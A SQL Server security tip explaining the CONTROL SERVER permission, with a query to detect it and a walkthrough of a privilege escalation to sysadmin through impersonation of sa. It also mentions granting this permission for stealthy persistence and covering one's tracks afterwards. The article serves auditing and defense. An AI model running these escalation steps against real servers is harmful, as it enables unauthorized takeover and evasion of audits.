By: K. Brian Kelley | Updated: 2012-02-24 | Comments (1) | Related: 1 | 2 | 3 | > Security
Problem
I've been tasked with securing my SQL Servers and I need to write scripts to audit them periodically to ensure they are all right. Recently I learned that I need to audit for CONTROL SERVER rights on any SQL Servers I have that are 2005 or above. In this tip we cover what CONTROL SERVER is, how to detect its use and a possible way to exploit this permission.
Solution
With SQL Server 2005, a new security model was introduced which allows for more granular permissions. Among the things you can now place permissions on is the SQL Server itself (represented by the Server securable). The CONTROL permission means one can do anything that an owner can do with respect to that securable. So if you have CONTROL SERVER permissions, you have the ability to completely control the SQL Server in question.
The reason it's brought up is that if you're just auditing for the traditional SQL Server server roles, like sysadmin, you won't notice this permission. So if I'm an attacker who wants to maintain access to your system, this is what I'd give myself. It gives me the rights I need (or the ability to obtain the rights I need) and it won't show up on most security reports.
Detecting Control Server Permissions
First, you detect this permission using the below query:
SELECT login.name, perm.permission_name, perm.state_desc
FROM sys.server_permissions perm
JOIN sys.server_principals login
ON perm.grantee_principal_id = login.principal_id
WHERE permission_name = 'CONTROL SERVER';
What Can Someone Do With Control Server Permissions
To see what someone with CONTROL SERVER permissions can do, let's first create such a login. Please ensure that you do this on a development or demonstration SQL Server, and not in production:
CREATE LOGIN [LoginWithControl] WITH PASSWORD = 'PickAStr0ng0ne$';
GO GRANT CONTROL SERVER TO [LoginWithControl];
GO
Now that we have the login, connect to SQL Server as that login and attempt to execute these commands. They should fail, which might give one a false sense of security.
/* This will fail. Thankfully. */
EXEC sp_addsrvrolemember 'LoginWithControl', 'SysAdmin';
GO
/* This, too, will fail */
GRANT IMPERSONATE ON LOGIN::sa TO [LoginWithControl];
GO
The trick is to create a login to which you know the password (if you have control of the server, you can create, alter, and delete logins) and then grant that account permission to impersonate a sysadmin role member. By the way, members of the securityadmin server role can execute the very same exploit.
CREATE LOGIN [EscalatedAccount] WITH PASSWORD = 'S0meP4ssword%';
GO GRANT IMPERSONATE ON LOGIN::sa TO [EscalatedAccount];
GO
Now login with this new account. Once you've done so, execute the following query and you'll see that the login with CONTROL SERVER rights has successfully elevated its permissions through this exploit.
EXECUTE AS LOGIN = 'sa';
GO
EXEC sp_addsrvrolemember 'LoginWithControl', 'sysadmin';
GO
EXEC sp_helpsrvrolemember 'sysadmin';
GO
REVERT;
GO
Obviously, you can eliminate the EscalatedAccount login once you are done with what you needed to do and remove yourself from the sysadmin role to cover your tracks. This would prevent being detected for having rights in the ways typically expected.
So be aware of this possible exploit for your SQL Server and take the necessary action to prevent any issues.
Next Steps
- Implement the permissions check as an automated script to run against your servers.
- Learn how to audit more server permissions as well as server roles.
- Understand the various server level permissions.
- Know what to audit with respect to logins.
- Put in place auditing of logons by sysadmin role members.
About the author
K. Brian Kelley is a SQL Server author and columnist focusing primarily on SQL Server security.This author pledges the content of this article is based on professional experience and not AI generated.
View all my tips
Article Last Updated: 2012-02-24
